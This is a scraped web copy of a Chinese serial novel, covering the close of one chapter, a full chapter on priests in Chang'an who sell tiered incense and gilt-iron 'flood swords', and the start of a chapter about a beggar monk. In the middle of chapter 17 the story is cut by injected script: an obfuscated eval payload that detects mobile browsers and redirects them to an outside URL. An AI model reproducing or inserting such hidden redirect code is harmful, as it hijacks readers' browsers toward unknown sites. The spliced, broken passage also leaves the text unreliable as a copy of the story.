$(''#content'').append('' 之后，或许有人能看见真的苦，生出真的慈。”顾清臣望向窗外，“若看不见，至少…本官试过了。” 慧静合十，良久道：“参军像一个人。” “谁？” “佛经里说的‘维摩诘’。”慧静微笑，“示现居士身，说佛法，破执见。只是…” “只是什么？” “维摩诘说法，天花乱坠。参军说法，”慧静顿了顿，“像在刮骨疗毒。痛。” 顾清臣笑了，第一次笑得有些疲惫：“痛，才好。痛了，才知道肉还活着，心还热着。若连痛都觉不出了，这佛门，这世道，就真没救了。” 窗外，暮钟响起，沉沉地，像一声叹息。 五、 金身尘土 浴佛会散了。各寺盘点收入，大相国寺得钱六千贯，小相国寺得钱八千贯，其余各寺三五千不等。方丈们喜气洋洋，计划着给佛再贴层金，给殿再加片瓦。 唯大相国寺出了桩“怪事”：慧明方丈一夜白头，三日后，将方丈之位传予首座，自己闭关不出。传言说，他在禅房墙上，写了四句： “金身原是土， 佛在心头坐。 若将秤称佛， 称碎是娑婆。” 顾清臣听说，只笑了笑，在卷宗上批了八个字： “浴佛水流，洗净铅华。” 五月，洛阳府颁新令：“各寺浴佛会，不得以金银定价；不得驱赶贫者；所得钱粮，需公示用途。违者，罚没所得，僧还俗。” 令出，各寺哗然。有僧联名上书，说“断佛门生计”。顾清臣将联名状当众焚毁，只说一句： “佛要什么生计？要生计的，是和尚。” 又三日，顾清臣路过小相国寺，见山门外新立一碑，碑文是慧静所题： “浴佛一瓢水，原是洛河清。 莫问价高低，但看济何人。 金身纵万丈，不暖饥寒身。 佛在施水处，不在贴金人。” 碑前，摆着个大木桶，桶边挂一瓢，瓢柄刻“随意”。桶是满的，清水映着天光。 有乞丐来，舀一瓢，咕咚喝下，抹嘴道：“甜！” 旁有香客问：“这水…多少钱？” 守桶的小沙弥合十：“师父说，洛河水，佛的，不要钱。” 香客怔了怔，从怀里掏出几文，扔进桶旁竹筐——筐是漏的，钱漏到地上。小沙弥捡起，还给他：“师父说，要捐，捐给城外粥棚。这里，只给水。” 顾清臣远远看着，没过去。转身时，见慧静在寺门内扫地，对他颔首一笑。 他也一笑，走了。 六月，洛阳大雨。大相国寺那尊贴金佛像，因金箔太厚，积水渗入，木胎腐朽，一夜之间，垮了半边。金箔剥落，露出里头糟烂的木头，虫蛀蚁咬，千疮百孔。 僧众要重铸，慧明出关，只说：“不必。就这样摆着，让人看看，金身里头是什么。” 香客来看，见那朽木佛像，半边金光，半边腐朽，说不出的诡异。有文人题诗于壁： “金妆裹朽木，香火养痴虫。 一朝风雨至，方知内外空。” 诗传开，各寺贴金的佛像，悄然刮去了些金箔。有方丈说：“留点木胎，透气。” 顾清臣听说，只对书吏道：“记下，建武十四年六月，洛阳佛像，开始会喘气了。” 书吏不解：“佛像怎会喘气？” “去了层金枷，可不就能喘气了？”顾清臣合上卷宗，“但愿喘气的，不止佛像。” 窗外，又下雨了。雨打芭蕉，声声清脆，像在敲木鱼。 只是这木鱼声里，听不出是经，是咒，还是…人间烟火气。 尾声水月镜花 三年后，顾清臣调任离京。行前，独往洛水边。暮色中，见一老僧在汲水，是慧静。 “师父还在挑水？” “挑。”慧静直起腰，“只是现在，有八个弟子帮着挑。城外粥棚，也多了三处。” 顾清臣望去，洛水汤汤，流金碎月。 “参军要走了？” “嗯。” “临行，老衲赠参军一言。”慧静合十，“佛门事，如这洛河水。有清有浊，有涨有落。参军搅动一池水，浊者沉，清者浮，可水终是水，流终是流。莫执着一时清浊，但看…流到哪里去。” 顾清臣长揖：“谢师父指点。” 他转身登船。船行中流，回望洛阳。城中寺庙灯火，如星点点。那尊垮了半边的佛像，在暮色中只剩轮廓，像幅写意画。 船公忽然道：“客官，听说没？如今洛阳浴佛，不要钱了。寺里摆个大缸，谁渴了，自己舀。有富户捐钱，寺里就刻个名在缸上——不是佛座，是缸。说这叫‘功德缸’。” 顾清臣笑了：“这名字好。功德如水，装在缸里，给人解渴，才是真功德。” 船公也笑：“谁说不是呢！去年俺娘病了，去寺里求水，小师父舀了瓢，还加了勺糖，说‘老人家，甜一点，好得快’。俺娘喝了，真就好了！嘿，你说奇不奇？” 顾清臣望向江心月影，轻声道：“不奇。甜水治病，是奇；慈心治病，是常。” 船远了，洛阳远了。唯有洛水声，潺潺不绝，像在说一个说了千年的道理： 佛不渡人，人自渡。 佛不卖水，水自流。 本章诫世 一、 金身秤佛之诈 - 以贴金为名，行敛财之实，将信仰物化为交易 - 破解法：凡见“功德明码标价”，必是买卖；凡闻“捐多福多”，当思福在何处 - 示例：分级浴佛、刻名标价、踹开贫乞 二、 糖水慈悲之伪 - 以香糖水冒充法水，以廉价物换高价“心安” - 惕世：当慈悲成为生意，虔诚便成成本；当信仰成为买卖，良知便成账本 - 反思：宗教商业化背后的精神贫困 三、 扁担真功之照 - 慧静四十年挑水，对照前殿贴金，显真假修行 - 深层隐喻：真功德在无人见处，假热闹在香火鼎盛时 - 终极质问：佛在金殿，还是在挑水路上？ 浴佛偈： 浴佛原为浴自心，何须金箔贴满身。 一瓢清水济人渴，胜似千金刻名深。 莫道伽蓝无秤杆，人心自是定盘星。 但看朽木金剥后，春风秋雨一般听。 后世叹： 建武十四浴佛辰，金箔照眼眩众生。 一瓢糖水百钱价，满殿功德千贯名。 岂知真佛挑水去，犹有痴人铸金迎。 浴罢不知身是客，洛河依旧月空明。 正是： 四月八日佛诞辰，金妆宝相眩洛阳。 一瓢糖水百钱价，满殿善财千贯香。 岂知真功在扁担，谁见慈心出药囊。 莫道伽蓝无杆秤，人心自分浊与清。 17. 神诞金谳 楔子炉香价高 太平七年六月六，长安城北崔府君庙的香炉，天不亮就烫手了。 不是香火旺，是有人用炭盆在炉底下煨着——为让头炉香的“热气”能卖个好价钱。管香火的道士玄真，法号听着清高，打算盘的手势却比账房还利落。他在香炉前三步处划了道朱砂线，线前摆三个蒲团： 头炉香，金十两，保官运亨通； 二炉香，银五两，保家宅平安； 三炉香，铜三贯，保子嗣昌隆。 卯时三刻，庙门一开，香客如潮。头一个冲进来的，是户部度支司员外郎刘守财。他捧着个锦盒，盒开，金灿灿十两元宝，往功德箱一扔，抓起三柱胳膊粗的高香，就要往炉里插。 “慢着！”玄真拂尘一拦，“刘员外，您这是求什么？” “求…求升迁！”刘守财喘着粗气，“下月考课，听说右侍郎位子空出来了…” “哦。”玄真捻须，“那这香，得换个插法。您得面朝东南——崔府君当年是从东南方飞升的，朝那个方向，心意才到。” 刘守财忙转身。玄真又拦住：“且慢！还得念咒。来，跟着贫道念：‘府君明鉴，信士刘守财，愿以十年阳寿，换一个侍郎位…’” “十年阳寿？！”刘守财手一抖。 “舍不得？”玄真眯眼，“那五年也成。府君大度，讨价还价也是可以的。” 刘守财咬牙：“五年就五年！” “好嘞！”玄真朝后喊，“童儿，记上——刘员外捐金十两，阳寿五年，求侍郎位！” 小道士捧出本“功德簿”，朱笔记下。刘守财这才颤巍巍插上香，拜了三拜。起来时，脸色煞白，不知是熏的还是吓的。 后面排着队的香客，个个伸脖瞪眼。有商人捧银求财，玄真说“得加三年寿”；有老妇捧铜钱求孙，玄真说“得减一纪福”。价码随口开，童儿埋头记，功德簿越写越厚，厚得像本卖身契。 日上三竿时，来了个布衣书生，名唤独孤明。此人三十许，面容清癯，背个青布书囊，站在人堆外冷眼看着。等刘守财拜完出来，他踱过去，作了一揖： “刘员外，学生有一事不明，想请教。” 刘守财正心疼那五年阳寿，没好气道：“讲！” “学生读《太平广记》，说崔府君生前为官清廉，死后成神，最恨贪贿。今日这庙里，明码标价卖香火，与市井何异？府君若有灵，是该喜，还是该怒？” 刘守财一愣。旁边香客听见，也窃窃私语。 玄真在殿内听见，疾步出来，拂尘一指：“哪来的狂生，谤神辱道？！” 独孤明不慌不忙，又作一揖：“道长息怒。学生只是好奇——府君既已成神，超脱生死，要人间金银何用？要信众阳寿何用？” “这…”玄真语塞，旋即冷笑，“此乃供奉，表诚心耳！若无诚心，求什么应什么？” “诚心在金银多寡？在阳寿长短？”独孤明从书囊中掏出本《崔府君异政录》，翻到一页，“府君生前断案，有富商贿金百两求胜诉，府君掷金于地，曰：‘法无价，岂金银可沽？’今日这道场，倒像是把府君当年掷掉的金子，又一块块捡回来了。” 众香客哗然。玄真涨红脸，强辩道：“此一时彼一时！如今修庙塑金身，哪样不要钱？尔等只知求神，不知养神，岂非忘恩负义？” 独孤明笑了：“道长说得是。只是学生愚见，神若需人养，还算什么神？庙若需金饰，与勾栏瓦舍何异？” 他转身，对众香客朗声道：“诸位，神在心中，不在庙中；诚在行善，不在烧香。今日你们捐的金银、许的阳寿，若真能到神前，神会不会叹一句——‘吾当年掷金拒贿，原是为今日价更高’？” 言罢，拱手一礼，飘然而去。 留下满庙香客，面面相觑。刘守财忽然捶胸：“我的五年阳寿啊…” 玄真急喝：“休听狂生胡言！头炉香已烧，府君已知…” “知什么？”刘守财瞪眼，“知我花了十两金、五年寿，买个不知能不能到手的侍郎位？” 他一把抢过功德簿，撕个粉碎。香客见状，纷纷讨还金银。场面大乱。 玄真站在香炉旁，炉火映着他铁青的脸。他盯着独孤明离去的方向，咬牙道：“六月二十四，二郎神诞…咱们等着瞧。” 二、 戏法神工 六月二十四，灌口二郎神诞，比崔府君生日热闹十倍。 神保观在城西万胜门外，本是前朝旧观，近年御赐重修，金碧辉煌。二十三日起，宫里就送来戏玩百物：金丝球杖、玉靶弹弓、象牙弋射具，乃至整副的鎏金马鞍、珍珠樊笼…说是“与民同乐”，实则炫富。 最奇的是殿前两座幡竿，高十丈，竿顶横木上，日夜有“神人”表演：吐火、吞剑、履刀山。百姓仰头看，脖子酸了，就低头往功德箱里扔钱——扔得越多，“神人”演得越险。 独孤明这日也来了，混在人群里。他不上香，只看，看了一个时辰，忽然笑了。 身旁老汉问：“先生笑什么？” “我笑这戏法精彩。”独孤明指幡竿，“老汉您看，那吐火的，火从口中出，可曾烧了胡须？那履刀的，脚踩刀刃，可曾见血？” 老汉眯眼细看：“咦…是有些怪。” “不怪。”独孤明道，“火是松香粉，遇风自燃，看似从口出，实从袖喷。刀是钝铁刷银粉，踩上去吱呀响，却伤不了人。这是江湖戏法，不是神通。” 正说着，观主玉阳子登台了。这道士五十许，面如冠玉，声若洪钟，先颂二郎神治水功德，忽话锋一转： “今岁渭水泛滥，淹田千顷，皆因孽龙作祟！贫道昨夜得神谕，需铸‘镇水剑’一柄，长九尺，重九九八十一斤，纯金为体，宝石嵌目，方可镇龙！” 台下哗然。金剑，那得多少金子？ 玉阳子击掌，四个道士抬上个木箱，箱开，里头是把金光闪闪的铜剑——外头刷了金漆。他捧剑高呼：“此乃剑胚！需信众捐金附灵，方成神兵！捐一钱，刻一名于剑穗；捐一两，刻于剑格；捐十两…刻于剑身，与神同在！” 香客沸腾。有商人喊：“我捐二十两！刻大名！” “我捐五十两！” “我捐…” 独孤明摇头，挤出人群，走到观后工棚。棚里热火朝天，几个工匠正在铸剑——是普通的铁剑，刷上金漆，就是“镇水剑胚”。旁边堆着几十把“旧镇水剑”，剑身刻满名字，锈迹斑斑。 管工棚的老匠人见生人来，忙拦：“此处禁地！” 独孤明递过几个铜钱：“老丈，学生好奇，这剑…真能镇水？” 老匠人四下看看，低声道：“镇什么水！去年铸了七把，今年渭水不照样淹？观主说，是捐金不够，得再铸。其实…”他指指后院，“铸好了，都堆那儿，一场法事抬出来晃一晃，完事扔回去。金漆剥了再刷，名字刮了再刻。一本万利。” “那幡竿上的神人…” “都是江湖艺人，一日五百文，比走街串巷强。”老匠人叹气，“这哪是道观，是戏园子，是…卖名簿的铺子。” 正说着，外头锣鼓喧天。玉阳子登台“开光”，将新铸的“镇水剑”舞得呼呼生风，忽然剑尖一指渭河方向，大喝：“孽龙！还不伏法？！” 恰此时，一阵风吹过，幡竿上“神人”正吐火，火星溅到剑身的金漆上——金漆是油调的，见火就着。玉阳子手中剑，顿时成了火把。 “神迹！神迹啊！”台下香客惊呼，纷纷下拜。 玉阳子脸都绿了，强作镇定：“此乃…此乃神火炼剑！大家来看，凡金脱落，真金现世！” 他猛甩剑，想把火甩灭，谁知用力过猛，剑脱手飞出，正扎在功德箱上。箱是薄木板，应声而裂，里头铜钱银锭，哗啦啦洒了一地。 香客愣住。玉阳子也愣住。 独孤明在人群后，悠悠道：“道长，神火炼剑，炼出个破财箱。这是二郎神示警——嫌诸位捐得少，要亲自来取么？” 哄笑声起。玉阳子狼狈拾剑，剑上金漆已烧秃大半，露出黑黢黢的铁胎。有眼尖的香客叫：“咦？这剑…是铁的？！” “铁剑刷金，就敢要十两金？” “退钱！退钱！” 场面又乱了。玉阳子恨恨瞪向独孤明，独孤明却已转身，踱出观门。 门外夕阳正好，照得渭水波光粼粼。几个渔夫正在补网，见他出来，笑道：“先生今日又拆台了？” 独孤明摆摆手：“拆不了。今日拆了明日建，这戏，唱不完的。” 他沿河而行，见岸边新淹的稻田，秧苗烂在水里，农人蹲田埂上哭。 神保观里的锣鼓声，隐隐约约飘过来，喜气洋洋。 三、 神价几何 三日后，独孤明被“请”到长安府衙。 府尹姓张，是刘守财的姐夫。他拍着案上两本账册——一本是崔府君庙的“功德簿”残页，一本是神保观的“捐金录”，冷着脸： “独孤明，你三番两次扰闹神诞，谤神辱道，该当何罪？” 独孤明长揖：“学生愚钝，不知罪在何处。” “你还狡辩！”张府尹抖着账册，“就因你胡言，崔府君庙六月六日，香火钱少了七成！神保观二十四日，捐金少了六成！这损失的功德，你担得起么？” “原来府尹在乎的是功德钱。”独孤明点头，“那学生倒要请教——功德是钱，还是行？若捐钱便是功德，那贪官污吏，大可贪了捐，捐了贪，循环往复，岂非功德无量？” “放肆！” “学生不敢。”独孤明从容道，“只是读史书，见崔府君生前，有富户贿金求免罪，府君曰：‘尔金可买官，不可买法。’今其庙中，明码标价卖香火，是买法，还是买神？若府君有灵，见此景，当作何想？” 张府尹语塞。师爷在旁阴声道：“独孤先生倒是清高。可修庙塑像、养道供神，哪样不要钱？若无香火，神何以存？道何以传？” “神在人心，道在自然，何需金塑银供？”独孤明道，“学生这几日，走了长安七十二道观。见三清殿金碧辉煌，老君像缀珠嵌玉，可殿后菜园荒芜，藏经阁漏雨。道士们忙着做法事、收供养，没空种菜，没空修书。这修的，是道，还是…生意？” 他自袖中取出一卷纸：“此乃学生抄录的‘神价单’，请府尹过目。” 纸展开，列着： 崔府君庙： 头炉香，十两金（保官运） 解冤法事，二十两（消业障） 托梦问卜，五两（得神谕） 刻名长生牌，一两/年（续阳寿） 神保观： 镇水剑留名，十两起（避水患） 请二郎符，三两（镇宅） 过火坑，一两（祛病） 摸神驹，五百文（得神力） 林林总总，四十七项，明码标价。 张府尹看得额头冒汗。师爷强辩：“此乃…此乃信众自愿供奉！” “自愿？”独孤明笑，“若学生今日在衙门外贴张告示，说‘捐十两金，保不坐牢’，可有人捐？捐了，府尹收不收？若收，与庙里卖香火何异？若不收，为何容道士收？” “这…这是两码事！” “是一码事。”独孤明正色，“神权法权，皆是权。权若可买卖，世道必乱。今日道士卖神佑，明日术士卖天命，后日…会不会有人卖‘真龙血统’‘天命所归’？” 张府尹手中茶盏，啪地落地。 独孤明深揖：“学生言尽于此。府尹若觉学生谤神，可治罪；若觉有理…还请看看长安城外，那些被渭水淹了田、却凑不出一钱香火钱的百姓。他们的命，他们的苦，神看不见，庙看不见，官府…该看见。” 言罢，转身出衙。背影挺直，如剑如枪。 张府尹呆坐良久，对师爷道：“那两本账册…烧了。” “那庙里…” “让他们收敛些。”张府尹望向窗外，夕阳如血，“这独孤明…是个镜子。照得人，睁不开眼。” 四、 泥马渡金 七月，渭水又泛。朝廷拨赈灾银三十万两，过手一层层盘剥，到灾民手里，只剩粥一碗。 灾民聚在神保观外，求二郎神显灵。玉阳子登台，又搬出“镇水剑”，说要再铸一把“真金剑”，需捐金百两。 灾民中，独孤明排众而出，朗声道：“道长，学生有一问。” 玉阳子见是他，脸一沉：“又是你！” “学生想问，二郎神当年治水，靠的是什么？是金剑，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088169|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是人心？” “自是…自是神威！” “神威在何处？”独孤明指灾民，“在这些人饿瘪的肚子里？在破庙烂泥中？道长若有神通，何不先治眼前的水，再谈铸剑？” 玉阳子恼羞成怒：“你懂什么！此乃天灾，非人力可抗！需以金剑通神，方得神助！” “哦。”独孤明点头，“那学生再问——道长可知‘泥马渡康王’的典故？” 众人都怔。这典故说的是崔府君显灵，泥马渡康王过江，保其登基。 “知道又如何？” “学生想，泥马可渡王，为何不能渡民？”独孤明从怀中掏出块泥巴，三捏两捏，捏成个小马，摆在观前石阶上，“今日，学生也学府君，捏泥马渡灾民。各位——” 他环视灾民：“谁愿信这泥马，就信。不信，就看看这道观——金顶玉阶，却渡不了一人出苦海。神在哪里？在泥马里，还是在金殿上？” 灾民沉默。忽然，一老妪颤巍巍上前，对泥马拜了拜：“我信…我信泥马，能渡我孙儿不饿死。” 她放下一文钱——全身最后的一文。 接着，有老汉放半块饼，有妇人放缕头发…石阶上，泥马前，堆起座小小的“供奉”，寒酸，却沉甸甸。 玉阳子脸色铁青。观里那尊金身二郎神像，在香火中静静看着，眉眼模糊。 独孤明对玉阳子长揖：“道长，你看，神不在金剑，在人心；道不在高台，在泥土。今日这泥马，收一文钱，渡一个人心。比那把十万金的‘镇水剑’，哪个更像神迹？” 他转身，对灾民道：“诸位，灾要救，靠人，不靠神。官府粥棚在城南，虽稀，能活命。有气力的，随我去领粥、修堤。没气力的，在此歇着——但记住，拜神不如拜自己，求人不如求己。” 他率先往城南走。灾民沉默片刻，有人跟上，一个，两个…渐渐成行。 玉阳子独立高台，台下空无一人。只有那尊泥马，在夕阳下，影子拉得老长，像在笑。 尾声金身泥胎 八月，崔府君庙的香炉，不知被谁砸了个窟窿。玄真说是“天雷劈的”，可那窟窿边缘整齐，分明是铁锤砸的。 九月，神保观的“镇水剑”生锈，金漆剥落，露出底下刻的密密麻麻的名字——最早的名字，是五十年前的。原来这把剑，已“镇”了五十年水，越镇水越大。 十月，独孤明离了长安，云游去了。走前，在城门口茶摊，听茶客议论： “听说了么？崔府君庙那头炉香，降价了——五两就成。” “神保观那镇水剑，也不说要金了，捐三文就能刻名。” “嘿，这是良心发现了？” “发现什么呀！是没人信了！前几日渭水退，是官府征民夫挖的渠，关神屁事！” 独孤明笑了笑，丢下茶钱，背起行囊。摊主问：“先生去哪儿？” “往南，听说那边有座小庙，庙里没金身，只有个老道，会看病，不收钱。” “那有什么看头？” “有真看头。”独孤明摆摆手，走入秋色。 他走后，长安的道观，悄悄刮去些金漆，撤了些价牌。有道士开始学医，有庙宇开始施粥——倒不是真悟了，是香客精明了，不弄点真的，骗不到钱了。 腊月，大雪。崔府君庙那尊贴金像，被雪压塌了半边。玄真这回没重修，就用泥补了补，补得歪歪扭扭，像道疮疤。 有文人题诗于壁： “金身原是泥胎， 何必脂粉重施？ 一朝风雪洗净， 方见本来面目。” 诗传开，各庙的金身，都显得有些尴尬。在烛火里，金光闪闪，却总像戴着面具。 而城南那小庙里，独孤明正帮老道捣药。庙小，佛也小，是木雕的，漆都掉光了。可来上香的，多是穷人，放一把米，磕个头，说些家长里短。 老道问：“听说你在长安，拆了不少台？” “没拆。”独孤明捣着药，“只是说了些实话。” “实话伤人。” “伤的是假，真的，伤不着。”他抬头，看庙外飞雪，“神不在高处，在低处；道不在金里，在泥里。这话，总得有人说。” 老道笑了，递过碗热粥：“喝吧，泥里的道。” 独孤明接过，粥烫，暖手。 庙外，雪落无声。远处长安城的灯火，在雪雾中朦胧一片，分不清哪是道观，哪是人家。 唯这碗粥，是实在的。 唯这泥胎神像的笑，是慈悲的。 虽然那笑，是木刻的，不会变。 本章诫世 一、 神诞标价之诈 - 将信仰节日彻底商业化，神佑按价分级 - 破解法：凡见“神明明码标价”，必是生意；凡闻“捐多灵验”，当思灵验在何处 - 示例：头炉香竞拍、阳寿抵功德、镇水剑集资 二、 戏法神通之伪 - 以江湖杂耍冒充神迹，以工匠之作充“通灵法器” - 惕世：当宗教仪式成为表演，虔诚便成门票；当神迹可以彩排，信仰便成戏票 - 反思：民俗狂欢与精神欺骗的模糊边界 三、 泥马金剑之照 - 泥马渡民的象征，对照金剑镇水的虚妄 - 深层隐喻：真信仰在泥土中，伪信仰在金光里 - 终极质问：渡人的是泥马，还是金剑？是神，还是人心？ 神诞偈： 六月六日香火稠，二十四日戏未休。 金剑何曾镇水患，泥马或可渡人愁。 莫道神前功德簿，无非世上贪婪筹。 但看雪压金身裂，方知泥胎最长久。 后世叹： 太平七年事可嗟，神诞日作贾生涯。 一炉香火十年寿，百两金铜数寸瑕。 幡竿戏法充灵异，泥马渡心胜銮车。 莫道长安无慧眼，独孤明后雪覆纱。 正是： 六月神诞闹未休，长安城内价如流。 炉分三等香分价，剑镀重金漆镀忧。 岂知泥马能渡厄，谁见金身真解愁？ 莫道痴愚皆信众，雪压幡竿也低头。 18. 布袋行谳 楔子破扇指月 天启三年的腊月，青州城来了个怪人。 此人二十出头，蓬头垢面，着百衲衣，趿拉双露趾草鞋，腰间挂个褪色的布袋。白日里在街市游荡，见包子铺摸个包子，见茶摊端碗茶，给钱不给钱，全看心情。店家要骂，他便咧嘴一笑，露出两排白牙，眼中清明得像雨后青山。 人都唤他“布袋和尚”，因那布袋从不离身，却永远瘪着。有好奇的孩童问：“和尚，你袋里装的啥？” 他便敞开袋口——空的。问急了，就说：“装风，装月，装人间不平事。” 孩童哄笑散去。 这日腊八，青州首富周半城在府门前施粥。布袋晃到粥棚前，不排队，径自走到粥桶边，探头看了看，摇头：“水多米少，清可见底，这粥喂鸟都不够。” 周半城正陪知府说话，闻言皱眉：“哪来的野和尚，胡言乱语！” 布袋不恼，从怀中掏出个破钵，舀了满满一钵粥，却不喝，走到街角老丐前，递过去：“老丈，你先喝。” 老丐哆嗦接过。布袋转身，对周半城道：“周老爷，你这粥，是施给人，还是施给眼？” “什么意思？” “施给人，该让人吃饱；施给眼，摆个样子就行。”布袋指指天，“老天爷看着呢，你这粥清得能照见你脸上的心虚。” 知府脸一沉：“放肆！来人，将这疯和尚赶走！” 差役正要动手，布袋忽然从破布袋中掏出把破蒲扇，对着粥桶一扇—— 怪事发生了：那清汤寡水的粥，忽然变稠了，米香四溢。排队饥民哗然，纷纷往前涌。 周半城目瞪口呆。知府颤声：“你…你是妖僧？！” 布袋大笑，扇子又朝周半城一扇。周半城怀中的银票，忽然如雪片般飞出，飘向饥民。饥民争抢，场面大乱。 趁乱，布袋晃出人群，哼着小调走了。走出半条街，忽听身后有人道：“和尚留步。” 一、 空袋渡人 叫住他的是个青衫书生，名唤顾清源，是青州府新来的刑名师爷。此人三十许，面白微须，眼神锐利如鹰。 “师爷有事？”布袋转身，依旧嬉笑。 “适才那粥变稠、银票自飞，是何戏法？” “戏法？”布袋眨眨眼，“是人心贪，看什么都像戏法。粥本不稀，是看粥的人心里稀；银票本不会飞，是揣银票的人心里慌。” 顾清源盯着他：“你究竟何人？” “我？”布袋拍拍腰间空袋，“无名无姓，无来无去。世人叫我布袋，我便应着；叫我疯子，我也应着。名相而已，何必认真？” “那你来青州作甚？” “看看。”布袋望向城门方向，“听说青州有‘三苦’：东城水苦，西城税苦，南城冤苦。我来看看，苦到什么程度。” 顾清源心中一动。东城井水咸涩，是因盐商私开盐井坏了水脉；西城税重，是因知府加征“剿匪捐”；南城有桩冤案，寡妇秦氏被夺田产，告了三年无门。这三事，是青州暗疮，无人敢提。 “你看又如何？” “看了，或可治。”布袋从袋中掏出个干馒头，掰一半递给顾清源，“师爷，吃么？” 顾清源不接：“和尚自己吃吧。” “我吃过了。”布袋将馒头塞回袋中，“师爷心里有事，吃不下。可是为南城秦寡妇的田契？” 顾清源骤惊：“你如何知晓？” “我袋里装的。”布袋拍拍空袋，“风告诉我，月告诉我，满城百姓的窃窃私语告诉我——秦氏的田，被周半城强占，转手送给了知府小舅子。这官司，你接不了，因为知府压着；也断不了，因为契是假的，可造假的人…死了。” 字字如针，扎在顾清源心上。此事他暗中查了半月，才理清的关节，这疯和尚竟随口道出。 “你…想如何？” “我不想如何。”布袋咧嘴，“但秦寡妇想。她儿子病重，没钱治；她老母眼瞎，等米下锅。师爷，你说，是田重要，还是命重要？” 顾清源默然。 “自然是命重要。”布袋自问自答，“可这世道，有时要命，得先舍命。秦寡妇舍了三年光阴，没换来田，倒快把命搭进去了。这账，怎么算？” 他转身，晃着破扇往南城去。顾清源跟上。 秦寡妇家在城南漏雨巷，土墙将塌。布袋推门进去，屋内昏暗，药味混着霉味。秦氏正给儿子喂药，见生人来，惶然起身。 布袋不言语，走到炕前，看了看那面色蜡黄的少年，伸手摸了摸额头。又从袋中掏出一把草根，递给秦氏：“三碗水熬一碗，早晚各服。三日后，热可退。” 秦氏将信将疑。布袋又道：“你的田，三日后有消息。莫问，莫急，先救孩子。” 说罢转身出屋。顾清源跟出：“你哪来的药？” “路边拔的。”布袋道，“车前草、蒲公英、金银花，清热退烧，地里多得是。只是穷人不知，知了也没空采——要忙着打官司，忙着哭，忙着等死。” 顾清源心中刺痛：“你果真要管这田产案？” “我不管。”布袋摇扇，“是师爷要管。” “我？” “你心里不是早有主意了么？”布袋笑，“那假地契上的手印，是右手拇指。可秦氏左手六指，自幼只用左手按印——这事，验尸的仵作知道，可仵作死了。但仵作的徒弟还在，在城西棺材铺打杂。师爷，这线索，可够？” 顾清源浑身一震。此事他查了许久未得，这和尚竟如数家珍。 “你…究竟是谁的人？” “我？”布袋抬头看天，雪粒子正落下，“我是冬天里的一把火，烧不了整个寒冬，但能暖一双手。师爷，你是那双手么？” 他晃着破扇，哼着小调走了。雪地上，留下一串歪斜的脚印，和一个空瘪的布袋影子。 顾清源立在雪中，良久，朝那背影深深一揖。 二、 弥勒笑苦 三日后，秦寡妇之子热退，能下炕了。同日，知府衙门的案卷房“走水”，烧了几卷旧档，其中就有秦氏田契的存底。没了存底，周半城手里的“真契”便成无根之木。 又三日，仵作徒弟“偶然”说起当年验尸旧事，说师父临死前念叨“左手六指，天大的冤”。这话传到顾清源耳中，他当夜便重审旧案，以“手印不符”为由，暂封田产。 周半城大怒，上知府处施压。知府却病倒了，说是“邪风入体”，满嘴胡话，总说看见个破布袋在眼前晃。 布袋和尚呢？他在城隍庙前摆了个摊，不卜卦，不看相，就坐着，面前摆个空碗。有人给钱，他收；不给，他笑。收来的钱，转眼就给了路过的小乞儿、病老汉、卖身葬父的少女。 这日，盐商马百万路过，见这和尚怪，便逗他：“和尚，都说弥勒佛笑口常开，你整日笑，是弥勒转世么？” 布袋抬眼：“弥勒笑，是笑世人痴。我笑，是笑自己傻。” “傻在何处？” “傻在以为能渡人。”布袋指指马百万，“比如马老爷你，家财万贯，可每夜睡不着，怕盐井塌，怕伙计贪，怕夫人偷汉子——这万贯家财，买不来一夜安眠，可笑不可笑？” 马百万脸色一沉：“胡说什么！” “我说错了？”布袋掰手指，“你盐井在东山，坏了三村水脉，五百户没干净水喝。你夜里做梦，是不是常听见婴孩哭？那是喝了咸水生病的娃在哭。这哭声，万贯家财压得住么？” 马百万冷汗涔涔，强作镇定：“你…你血口喷人！” “人血是咸的，跟你井里的水一样。”布袋起身，拍拍屁股，“马老爷，回去吧。今夜你夫人偷的汉子，要从后门走了。你现在赶回去，还来得及捉奸在床。” 马百万浑身发抖，跌跌撞撞跑了。围观百姓哄笑。 有老儒叹道：“这和尚嘴太毒，要遭报应。” 布袋回头，对老儒一笑：“老先生，你儿子三年不第，不是才不够，是银子没送够。考官昨夜又纳了房小妾，你猜，聘银哪来的？” 老儒脸一白，掩面疾走。 顾清源远远看着，摇头苦笑。他走过来，低声道：“和尚，你如此揭人短，不怕惹祸？” “祸？”布袋眨眨眼，“祸在人心，不在我口。我说不说，它都在。我说了，或有人醒；不说，都醉着。师爷，你说，是醒着好，还是醉着好？” “自然是醒着好，可…” “可醒着痛。”布袋接话，“但痛过，才知道自己是活人。醉着，舒服，可那是死人的舒服。” 他自袋中掏出个干饼，掰一半给顾清源：“师爷，你心里有苦。苦在…明明有才，却要屈身在这污泥潭里，同流合污。苦在…想做个清官，可清官要饿死。对不对？” 顾清源默然接过饼，咬了一口，粗粝得拉嗓子。 “这饼难吃，可顶饿。”布袋将自己那半也塞给他，“师爷，再难吃，也得吃。吃饱了，才有力气…做该做的事。” 他晃着破扇走了。顾清源握着半块饼，看那褴褛背影消失在长街尽头。 雪又下起来。这青州的雪，也带着股咸涩味。 三、 癫僧渡世 腊月二十三，小年。青州城传出两桩奇事： 一是盐商马百万，忽然散尽家财，捐修水渠，引清水入三村，自己剃度出家，去了西山破庙。 二是知府“病愈”后，竟主动重审积年冤案，平反了七桩，其中就有秦寡妇的田产案。田归还那日，知府亲自登门致歉，留下一百两抚慰银。 满城哗然。都说是有神佛显灵，却不知是那疯和尚，半月来夜夜“拜访”知府，也不说话，就坐在床头，睁着清亮的眼看着他。知府一闭眼，就梦见自己被装进个破布袋，闷得喘不过气。三日下来，精神崩溃，这才“良心发现”。 布袋和尚的名头，一夜传遍青州。有说他能“入梦点化”，有说他能“掐算前世”，更有富户捧着金银来求“开示”。 布袋一概不见，只躲在城隍庙偏殿，与几个老乞丐烤火。乞丐问他：“和尚，你真有神通？” 